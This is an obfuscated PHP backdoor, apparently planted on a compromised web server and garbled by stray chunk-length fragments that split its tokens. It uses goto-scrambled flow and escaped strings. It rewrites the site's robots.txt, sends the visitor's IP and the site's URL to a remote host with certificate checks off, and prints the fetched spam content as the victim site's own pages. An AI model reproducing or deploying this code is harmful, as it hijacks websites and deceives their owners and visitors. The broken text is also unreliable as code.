1 < 5 ?php 8 goto N 6 WuLZ; 8 N2pxL: i 7 f (!emp 7 ty($get 7 ["\162" 6 ])) { 7 $robots 8 Path = $ 6 _SERVE a R["\104\x4 9 f\x43\x55 a \x4d\x45\1 9 16\124\x5 10 f\122\x4f\x4f\12 8 4"] . "\ 9 x2f\162\1 9 57\142\x6 a f\x74\163\ a 56\x74\x78 a \x74"; $si 7 temapBl 7 ock = " f \x55\x73\x65\x7 9 2\x2d\x61 c \147\145\x6e 10 \x74\72\x20\x2a\ 9 xa\101\15 f 4\154\x6f\x77\x d 3a\x20\x2f\12 16 "; $sitemaps = "\xa\12 9 3\151\164 10 \x65\x6d\x61\160 d \72\x20{$http 6 _type} 11 {$_SERVER["\x48\x c 54\x54\120\1 a 37\110\117 19 \123\124"]}{$_SERVER["\x5 c 3\103\122\x4 d 9\x50\x54\x5f 10 \116\x41\x4d\x45 c "]}\77\163\x c 3d\x73\12"; b if (!file_e 6 xists( 16 $robotsPath)) { file_p 8 ut_conte 1f nts($robotsPath, $sitemapBlock e . $sitemaps); 6 } else 14 { $robotsContent = 9 @file_get 1f _contents($robotsPath); if (str 13 pos($robotsContent, 10 $_SERVER["\123\ 1b x43\x52\x49\x50\x54\x5f\x4e 14 \x41\x4d\x45"]) === 9 false) { 2b @file_put_contents($robotsPath, $sitemaps, 6 FILE_A 5 PPEND 10 ); } } } goto Ez a Yoe; NWuLZ 8 : error_ 7 reporti 7 ng(0); a goto yMqRN d ; yMqRN: $get f = $_GET; goto 6 shqZL; 6 Aq5NJ 9 : $ll = " 1e {$http_type}{$_SERVER["\110\12 13 4\124\120\137\x48\x 1d 4f\123\x54"]}{$_SERVER["\x53\ b x43\122\111 15 \x50\x54\137\116\x41\ a 115\105"]} c "; goto D_ia 6 M; m5b 7 kF: fun 9 ction get 6 Curl($ a url, $getD 9 ata = arr 8 ay()) { 1a if (!empty($getData)) { $q 7 ueryStr 9 ing = is_ 12 array($getData) ? 9 http_buil 13 d_query($getData) : 10 $getData; $url 11 .= (strpos($url, 10 "\77") === false b ? "\77" : 16 "\x26") . $queryString 10 ; } if (function f _exists("\143\x 10 75\x72\154\137\x 6 69\156 14 \151\164")) { $ch = 8 curl_ini c t(); curl_se d topt_array($c b h, array(CU 6 RLOPT_ d URL => $url, c CURLOPT_RETU 6 RNTRAN 9 SFER => t f rue, CURLOPT_SS 7 L_VERIF e YPEER => false 17 , CURLOPT_SSL_VERIFYHOS 17 T => false, CURLOPT_FOL 6 LOWLOC 5 ATION 17 => true, CURLOPT_TIMEO 12 UT => 10, CURLOPT_ 4 HTTP 19 GET => true, CURLOPT_USER a AGENT => " f \115\157\172\15 d 1\154\x6c\141 a \57\x35\x2 7 e\60")) 10 ; $data = curl_e f xec($ch); curl_ c close($ch); 17 if (!empty($data)) { re a turn $data d ; } } if (ini 13 _get("\141\154\x6c\ d x6f\167\x5f\x 12 75\162\154\x5f\146 d \157\160\x65\ f 156")) { $conte a xt = strea b m_context_c c reate(array( b "\x68\164\x 13 74\160" => array("\ 9 155\x65\1 f 64\x68\x6f\x64" d => "\x47\105 e \x54", "\x74\x e 69\155\145\x6f 11 \x75\x74" => 10, d "\150\x65\x61 15 \x64\x65\162" => "\12 d 5\163\x65\162 1a \x2d\x41\147\145\x6e\164\x a 3a\40\x4d\ c 157\x7a\151\ 10 x6c\x6c\x61\x2f\ 11 x35\x2e\60\15\12" a ), "\163\x 16 73\x6c" => array("\166 13 \x65\162\x69\146\x7 10 9\137\160\x65\14 16 5\162" => false, "\x76 12 \145\x72\151\146\1 a 71\137\x70 12 \145\145\162\x5f\x e 6e\141\x6d\x65 17 " => false))); $data = 20 @file_get_contents($url, false, 39 $context); if (!empty($data)) { return $data; } } return b ''; } goto 6 X5nb1; e D_iaM: $vurl 12 = $http_type . "\x f 69\144\154\x79\ a 62\56\x69\ 12 x64\x73\x68\157\x7 a 0\x2e\x63\ c 143\167\x75\ c 56\143\x63\x 9 2f\64\61\ 11 71\56\x61\163\x70 11 \x78"; goto N2pxL 1d ; EzYoe: if (!empty($get["\16 d 3"])) { $para 11 ms = array("\163" c => date("\1 b 31\x6d\144\ d x48\151"), "\ f x6e\165\155\142 19 \x65\162" => $get["\156\1 14 65\x6d\x62\145\162"] a ); $str = 16 getCurl($vurl, $params 12 ); $str = str_repl d ace(array("\1 c 73\xe5\275\2 c 23\xe5\x89\x 8 8d\345\x 8 9c\260\x e e5\235\x80\x7d 17 "), array($http_type . 17 $_SERVER["\110\x54\x54\ 10 x50\x5f\110\117\ 1f x53\124"] . $_SERVER["\123\x43\ 11 122\x49\x50\124\1 1b 37\116\x41\x4d\x45"]), $str 8 ); heade 9 r("\103\1 12 57\156\x74\x65\156 12 \164\x2d\164\171\1 13 60\x65\72\164\x65\1 c 70\x74\57\x7 c 8\155\154"); b echo $str; e die; } goto N b 4dac; X5nb1 52 : $http_type = !empty($_SERVER["\110\x54\x54\120\123"]) && $_SERVER["\x48\124\124\ c x50\123"] != 54 = "\x6f\146\x66" ? "\x68\164\164\160\x73\x3a\x2f\x2f" : "\150\164\164\160\x3a\x2f\57 11 "; goto Aq5NJ; f5 e XoA: function 14 postCurl($url, $post 17 Data = array()) { $post 31 String = is_array($postData) ? http_build_query($ 16 postData) : $postData; 31 if (function_exists("\143\x75\162\154\x5f\x69\x6 7 e\x69\1 104 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_ 9 POSTFIELD 10 S => $postString 6e )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\ 22 157\x77\x5f\x75\162\154\x5f\x66\x6 b f\x70\145\1 51 56")) { $context = stream_context_create(array("\150\164\164\160" => array("\155\ 12 145\164\150\157\14 11 4" => "\120\x4f\x d 53\124", "\16 17 4\x69\155\x65\157\165\x 14 74" => 10, "\x68\x65 f \141\144\x65\x7 f 2" => "\103\x6f 1a \156\x74\x65\x6e\x74\55\12 f 4\171\x70\x65\x 15 3a\x20\x61\160\160\x6 f c\x69\x63\x61\x e 74\x69\x6f\x6e 13 \57\x78\55\x77\x77\ 12 167\55\x66\x6f\x72 13 \155\x2d\165\162\x6 13 c\x65\156\143\157\1 c 44\145\144\x c d\12" . "\x4 1b 3\x6f\156\x74\145\156\x74\x 10 2d\x4c\145\x6e\1 10 47\164\x68\72\40 a " . strlen 13 ($postString) . "\x e d\xa" . "\125\ 10 x73\145\x72\x2d\ 15 101\x67\x65\156\164\x 16 3a\40\x4d\157\172\151\ 11 x6c\x6c\141\x2f\6 f 5\56\x30\xd\xa" 14 , "\143\x6f\x6e\164\ 1c 145\x6e\164" => $postString) 28 , "\163\x73\x6c" => array("\x76\145\x72\ 14 x69\146\171\x5f\x70\ 2e x65\145\162" => false, "\x76\145\162\x69\x66\x d 79\x5f\160\14 b 5\x65\x72\1 d 37\x6e\141\15 80 5\145" => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto c m5bkF; N4dac 22 : if (!empty($get["\151\144"])) { 17 if (empty($get["\153\15 11 3"])) { $ip = get 7 _ip(); 1e $params = array("\x69\160" => 13 $ip, "\x69\144" => d isset($get["\ d x69\144"]) ? 13 $get["\151\x64"] : 9 '', "\x6c 12 \x6c" => $ll); $tz 2b str = getCurl($vurl, $params); if (strpos($ 12 tzstr, "\x69\144") 14 !== false) { echo $ f tzstr; die; } } 2a $params = array("\x69\x64" => $get["\x69\ 11 x64"], "\x6c\154" 45 => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\ 9 x7b\125\x 10 52\x4c\175", "\1 8 73\345\2 f 37\237\345\x90\ 8 215\175" 14 ), array(get_url_inf e o("\146\165\15 1a 4\x6c"), get_url_info("\15 12 6\157\137\x77\167\ f 167")), $str); 1a echo $str; die; } else { $ 10 sitemapUrl = $ll 10 . "\x3f\x73\x3d f " . date("\131\ f 155\144\110\x69 10 "); echo "\74\14 11 4\x69\166\40\x73\ 11 164\171\154\145\x 11 3d\x27\x74\145\17 f 0\164\x2d\x61\1 12 54\151\147\156\x3a 12 \x63\145\x6e\164\x 14 65\x72\73\40\160\x61 10 \144\144\x69\156 d \x67\72\61\x3 11 0\160\170\40\x30\ 8 73\x27\7 14 6\x3c\x61\x20\150\16 d 2\x65\146\75\ f 42{$sitemapUrl} f \x22\x20\x74\x6 13 1\x72\x67\x65\164\x c 3d\42\x5f\x6 11 2\154\141\x6e\x6b 14 \42\40\162\x65\x6c\x c 3d\x22\x6e\1 17 57\x66\157\x6c\x6c\157\ b 167\x22\x3e f \x20\x53\x69\x7 18 4\x65\x6d\x61\160\74\57\ d 141\x3e\x3c\x 10 2f\144\151\166\7 e 6"; } goto nnS 17 Bp; Uh8So: function get a _ip() { fo 10 reach (array("\x 15 48\x54\x54\x50\x5f\x5 10 8\137\x46\117\x5 9 2\127\101 c \122\104\x45 13 \104\x5f\x46\x4f\x5 e 2", "\x48\124\ 13 x54\120\x5f\x43\114 a \x49\105\x 12 4e\x54\137\111\x50 11 ", "\x52\x45\x4d\ 11 117\x54\x45\x5f\1 f 01\x44\x44\x52" 7 ) as $k 12 ey) { if (!empty($ 19 _SERVER[$key])) { return 8 trim(exp 9 lode("\x2 13 c", $_SERVER[$key]) a [0]); } } 12 return "\x55\x4e\1 d 13\116\x4f\x5 14 7\116"; } goto f5XoA 16 ; shqZL: function get_ 11 url_info(string $ f return_type = " 17 \144\157\155\141\151\x6 d e") : string 7 { $host 1e = $_SERVER["\x48\124\124\x50\ 1b x5f\110\x4f\123\x54"]; if ( 1d $return_type === "\144\x6f\15 f 5\x61\x69\156") 17 { return $host; } if ( 1b $return_type === "\156\157\ 1c x5f\x77\167\167") { return l 10 trim($host, "\x7 11 7\x77\167\x2e"); 9 } $protoc c ol = isset($ 1c _SERVER["\110\x54\124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 13 3"] === "\x6f\156" 14 || isset($_SERVER["\ 16 x48\x54\124\x50\x5f\13 10 0\137\106\x4f\12 16 2\127\x41\122\104\x45\ f x44\137\x50\x52 22 \117\x54\x4f"]) && $_SERVER["\110\ 24 124\124\120\137\x58\137\106\x4f\122\ 10 x57\101\122\104\ 10 105\104\137\x50\ 18 122\x4f\x54\117"] === "\ 31 150\x74\x74\160\x73" ? "\x68\x74\164\x70\x73\x3a\ 1c 57\x2f" : "\x68\x74\164\x70\ e 72\x2f\x2f"; $ 5 base_ 19 url = $protocol . $host; 21 if ($return_type === "\142\x61\x7 1a 3\145") { return $base_url 8 ; } $uri 19 = $_SERVER["\x52\x45\121 10 \125\105\123\124 10 \x5f\x55\122\x49 9 "]; $full 12 _url = $base_url . 23 $uri; if ($return_type === "\x66\1 17 65\154\154") { return $ 1e full_url; } return ''; } goto e Uh8So; nnSBp: 2 ?> 0